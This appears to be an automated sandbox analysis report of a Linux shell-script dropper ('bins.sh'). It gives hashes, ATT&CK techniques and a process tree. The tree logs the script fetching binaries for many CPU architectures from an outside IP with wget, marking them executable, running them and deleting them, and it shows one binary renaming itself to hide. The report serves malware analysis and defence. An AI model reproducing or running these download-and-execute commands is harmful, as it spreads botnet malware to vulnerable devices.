8cbae59b9a39413b7d8fde268945a7f73e0072889ab325a244706c34af335bf9

Analysis

max time kernel
143s
max time network
146s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/10/2026, 21:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample261022-1f4desbf22
SHA256 8cbae59b9a39413b7d8fde268945a7f73e0072889ab325a244706c34af335bf9
MD5 590bfefbc1d36019ab377d6defa54b18
SHA1 b5a45f8d19ef964ec3c2c1741bb3ddaeddeccf01
SHA512 33383e376bb6be9f7a36c7a98052ae50514bf72fe520b3c36efe89bcbe86d17920a4228a9b47156121b2ab36c8ce9ad3f22a8e58a6bbba5cc4170f891a93dd5d
TLSH
T124315ED691E19A36AC64E877B4AE5DB478D0E4D644E16F0828FC38F064CDE4EF481B93
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod
765	chmod
798	chmod
819	chmod
744	chmod
749	chmod
783	chmod
813	chmod
725	chmod
734	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/dissmips	727	bins.sh
/tmp/dissmpsl	735	bins.sh
/tmp/disssh4	740	bins.sh
/tmp/dissx86	745	bins.sh
/tmp/dissarm4	751	bins.sh
/tmp/adissarm5	766	bins.sh
/tmp/dissarm6	784	bins.sh
/tmp/dissarm7	800	bins.sh
/tmp/disspoor	814	bins.sh
/tmp/dissarch64	820	bins.sh

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	23.237.36.148

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kworker/0:1]	727	dissmips

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
706	wget
727	dissmips
730	rm

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/adissarm5	wget
File opened for modification	/tmp/dissarm7	wget
File opened for modification	/tmp/disspoor	wget
File opened for modification	/tmp/dissarch64	wget
File opened for modification	/tmp/dissmpsl	wget
File opened for modification	/tmp/disssh4	wget
File opened for modification	/tmp/dissarm4	wget
File opened for modification	/tmp/dissarm6	wget
File opened for modification	/tmp/dissmips	wget
File opened for modification	/tmp/dissx86	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:703
- /usr/bin/wget
  wget http://104.168.4.206/dissmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /bin/chmod
  chmod +x dissmips
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/dissmips
  ./dissmips --name bins.mips
  2⤵
  - Changes its process name
  - System Network Configuration Discovery
  PID:727
- /bin/rm
  rm dissmips
  2⤵
  - System Network Configuration Discovery
  PID:730
- /usr/bin/wget
  wget http://104.168.4.206/dissmpsl
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod +x dissmpsl
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/dissmpsl
  ./dissmpsl --name bins.mpsl
  2⤵
  PID:735
- /bin/rm
  rm dissmpsl
  2⤵
  PID:737
- /usr/bin/wget
  wget http://104.168.4.206/disssh4
  2⤵
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod +x disssh4
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/disssh4
  ./disssh4 --name bins.sh4
  2⤵
  PID:740
- /bin/rm
  rm disssh4
  2⤵
  PID:742
- /usr/bin/wget
  wget http://104.168.4.206/dissx86
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod +x dissx86
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/dissx86
  ./dissx86 --name bins.x86
  2⤵
  PID:745
- /bin/rm
  rm dissx86
  2⤵
  PID:747
- /usr/bin/wget
  wget http://104.168.4.206/dissarm4
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod +x dissarm4
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/dissarm4
  ./dissarm4 --name bins.arm4
  2⤵
  PID:751
- /bin/rm
  rm dissarm4
  2⤵
  PID:754
- /usr/bin/wget
  wget http://104.168.4.206/adissarm5
  2⤵
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod +x adissarm5
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/adissarm5
  ./adissarm5 --name bins.arm5
  2⤵
  PID:766
- /bin/rm
  rm adissarm5
  2⤵
  PID:769
- /usr/bin/wget
  wget http://104.168.4.206/dissarm6
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x dissarm6
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/dissarm6
  ./dissarm6 --name bins.arm6
  2⤵
  PID:784
- /bin/rm
  rm dissarm6
  2⤵
  PID:786
- /usr/bin/wget
  wget http://104.168.4.206/dissarm7
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod +x dissarm7
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/dissarm7
  ./dissarm7 --name bins.arm7
  2⤵
  PID:800
- /bin/rm
  rm dissarm7
  2⤵
  PID:803
- /usr/bin/wget
  wget http://104.168.4.206/disspoor
  2⤵
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x disspoor
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/disspoor
  ./disspoor --name bins.ppc
  2⤵
  PID:814
- /bin/rm
  rm disspoor
  2⤵
  PID:817
- /usr/bin/wget
  wget http://104.168.4.206/dissarch64
  2⤵
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod +x dissarch64
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/dissarch64
  ./dissarch64 --name bins.arm64
  2⤵
  PID:820
- /bin/rm
  rm dissarch64
  2⤵
  PID:822

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot-10.127.0.165.lock

Path /run/bot-10.127.0.165.lock
Size 4B
SHA256 b90d74e9586466fd38cf0b20643968ef3a805b784a9cb1feb1b7dc67bb7d20cf
MD5 4acd566c769665b85a79f0e6119fda5d
SHA1 0f73e4fc0104928de2b498d0a7d6a4fdbd805e9e
SHA512 5a876c3ed4754812ce434288c3ed0bb177293108a280efd5c5ac827517c40499c48e8eb4a4818163943f8b01f3e533faf4a792375fd532b9f346bb9d20c24259
MD5 SHA1 SHA512

Submit Download

adissarm5

Path /tmp/adissarm5
Size 194KB
SHA256 d9a4f09acbe5baf37d129ddc8a22c25a2fb42c3437667ad676ea3a08e4d0371c
MD5 ac4eba734ae0100e7a7ce0b591cc29a1
SHA1 27aedb5b90fcd49281c364555af8897ef4c3d859
SHA512 6e9287c72f1771ad7bc8e2dc8c32eefe784c1bb9563200cac69bae9e53d8c8ae82f47b211eb3fe63e64394a1271ed42ac17e937e9802abc366eda90ffaee55f3
SSDEEP 3072:TZvO8pClMDBwRq4DzZSoqfZLs9siA5cyN4XXwHtb9WhU0J854K84:TZvjpeqqzZSoqYJqjN4HwHN9WX85vr
TLSH
T1C914F865F8A16722C1E3B37AFB7E4248333A9378C7E9310385341A617BFA56E0D72465
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarch64

Path /tmp/dissarch64
Size 669KB
SHA256 74fd8f8e014d46d84e66a98937ee7d35120779f613cdda6c995d233690442061
MD5 88435751bb3a54c626e8fd03efcd0674
SHA1 39395b09ab21f4ed4271e529b2757103aaaeaf56
SHA512 887ce0b24c1967dddeb7ecd0665a804d6a27eb1a2e8ea0352b17736040931a6e58a3c8d2fc97199dac4377509e926953aacdd17a6a50b729938316c70be100b7
SSDEEP 12288:40iLihYsccwq8B3rHT1/KfVcsM61fW7D8mTHf6PgyEs5RXaO:ihsccwLf1/4VJM61sD/HmF
TLSH
T1DFE48C687ACE7D42E287F33DCF8A8660333BFAA49712D2933511415CD5E6AADCEB0511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarm4

Path /tmp/dissarm4
Size 198KB
SHA256 d849fb8000891cf3cca1b755eac2eda328135ae73041cfcd6f7eb612f6b9ab20
MD5 8e6d456454019b25a0f9ad4a1ea5d407
SHA1 08df49e73f0f5584d5a96ebc038d27f612eab8c7
SHA512 8d8e983980d3e8429c2624a87f04af4478b33b00bac845458cc3d5df27ac6c13a4532ad250c54a6f571ab2fb892b2206c9b5a6d3fe6120ab0b84716550c1748a
SSDEEP 3072:F96kTtlSDhb7B/QDFf8AXYuB+ngkNX/5C4peOfDDIgetE6g2:F97TkB/iFf8AXTEgav84wOf/Ig96t
TLSH
T1EF141965F8A16722C5E7737AEB7E4288333A9378C7EA310385341A207BFA53E0D76455
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarm6

Path /tmp/dissarm6
Size 210KB
SHA256 1fdac0e0f2fda9d161056beab78fa1c4fc82216e1158eeb8ecabc643139a7fc3
MD5 7a940ea4d4e9cbc70a3ebeefff315e96
SHA1 83e0bb230f0e8d2c79a5f61163ef625754004465
SHA512 76963b0a6b21c2d07f8ab636367841d1820414ec947e6c46a657100785535274f0e4c969ad24a54ab0ebd1f266561a6cf6263892be28c78c3ddef768f37b56d9
SSDEEP 3072:CDkjNQLQ8+T5u6fQGlOXwXzCyvbaVjj7yvis8lg46B0cCSNQmr6:BjsQ8qfZtXzCyTadj7wSlg46USNQg6
TLSH
T1C0240725B891A711D0E3737AEF7D014833279B78C7DE710389345A60ABFA97E0E76429
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissarm7

Path /tmp/dissarm7
Size 187KB
SHA256 8d88cda5439279eb70e789a8718f8f27a40d328bc674d6d5197731935dbd16a5
MD5 1c3cb06dbfc8dc00794a26e4a483a3be
SHA1 b7f6fb0487d933c882cf9979f525ae214fcf7210
SHA512 4a657d42df33d8d09c53e062b499d497a9a18f3fdd47d5febed4a9665c6e85886ad15d780ee30f7406ea3386493ee757362c1586a28f7d8a9239225d2b06fba3
SSDEEP 3072:XNC0CqBVFANisG92Ti0S4NMeZpQIXteaeY6ph9bvxF15Z6oGrBsCZndUiW:M0XKNG2TBCeLd9eaeYIh9bvxthG1sCZ
TLSH
T14F14F725B8917710D0E773BAFF6E414833679778C7A97003CA341A216BFA92F4E72469
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissmips

Path /tmp/dissmips
Size 254KB
SHA256 65988926d1a02d38a6c08ee0e0dbb966dabcb337aff3344c635fd53e43512d8d
MD5 c8b511bca0ce7cd1849a56090b586763
SHA1 bbe54e932701d4417ddcfa963c0bd9ddafac961e
SHA512 46f7a5d975d23d9284df59d8453cc55546573e1fc869e67124b357a95d4bb4a1e9305b83012b6656924f591ab599cb1eb215032999bd7a610250f0ea37a8ef66
SSDEEP 3072:b7jjGR3G+tmtkkmymVduMxEb3i+ARoKTIMlT8VY1glSGFjOSOMF:b7jji3BtmKdBkSQklpOUGFj4MF
TLSH
T16944C62A6D719B7DF27AE33487B74A20A76C63D61BA1D582C17CC0105E7025E681FBBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissmpsl

Path /tmp/dissmpsl
Size 257KB
SHA256 2fbd50ef3b12511425f2ee45e07b39c11fa261953ebfec45d4a31426148320fa
MD5 6b9f75b3a3ee20d98bc18ed01c5c2b27
SHA1 b36e91f984ca1481430b8c1809758927a5951b6e
SHA512 8522983d5c68e45b099dd671602e5f23dcab33fa75bad65e46667b8ffcb017bd7f4da86cdaca0a5c2255407625b06c7e2cfcaf9d24ba97281631dbfe8f9ef042
SSDEEP 3072:kWeKfZoRoB4qvKtWEMeJxiOplldEdru2EMY32u0H3g:kWDfZ+8KwenLTEd1M2uE3
TLSH
T10844B3196FA11FBBD87BEF3746F80701239CA60616683B7B6634C414F9AA50F49D3878
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

disspoor

Path /tmp/disspoor
Size 202KB
SHA256 b8529448ca17ba76f5dbc39be1fd5d82c83bac8e2dd946e84b13414666967d9f
MD5 ee9c21ece378631ffadcc6fee609b5ea
SHA1 95fa64a2fe3e4e5ceb81e77afa9e28d2020f37dc
SHA512 15d73e4f7de3e73ca8a0d5e4dc9d6620821385546c7886991fa73ad4b47be73feac8400fb3ccf134dc7d2177ba32273103b5ee8dddbdd0139b9746b660049a7f
SSDEEP 3072:XYp6e9o9YIHMllWqxArgoXIadKgd/bLCg+2:XYp6e9F+MlYqxArgoYadljLS2
TLSH
T1B114381076292353E0777BB49B3F13D0A3FED6511BA4AA47413E548AC6B6E3E4881CED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

disssh4

Path /tmp/disssh4
Size 182KB
SHA256 35e9f2443d7fa3c500ab7be64d9ffb5f90fd30453f4e4d3adfe43b6ecce8330e
MD5 9fa141da100859af96e410246d82e2a0
SHA1 116ab0e1c020bc882507e9522f7b4b5dc09fb1a7
SHA512 babf56334fb4162ea2134681f063f5b166593dcd0612f43c520381aba643dcdfa80ba7e8baf1fda9aee13ad7083cb42aa991e64a44707dc329247b1274afd034
SSDEEP 3072:8QNo6toDejhdSupVzYFw+xnFWnDRz/+2Cbe:8lDIdSupKPwnDkbe
TLSH
T153040731A8B13FA4D037F378D7B587382366D6600B0A5EBB8136806589B7E6DB94177C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dissx86

Path /tmp/dissx86
Size 200KB
SHA256 b9b00a11b0bdecee5e9e1a56a89611267cc5881b258196e4df6166372ba1ea98
MD5 0b239dc25d7ad3a84dc42581cfe6fda3
SHA1 ff4c40a2b6d666fd47e01ab9219915a12441150f
SHA512 a62a13bc9669172a004e3bac42afc964c2dda6ae2930696e1e4c5678dd0cc22ad0f545cb37d7d287d83ef3e8f856e093eb9b1317f4bd5ecb36cf8217ede12885
SSDEEP 3072:zs53dvizGua1/pbY7zi9t5DsCICMpP6i7WKhs:zkqSayhB9NOs
TLSH
T15714392578E161FCC4A7F338CBBE9221A774F60C0B24B84F437459529EBDE3D4A68529
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads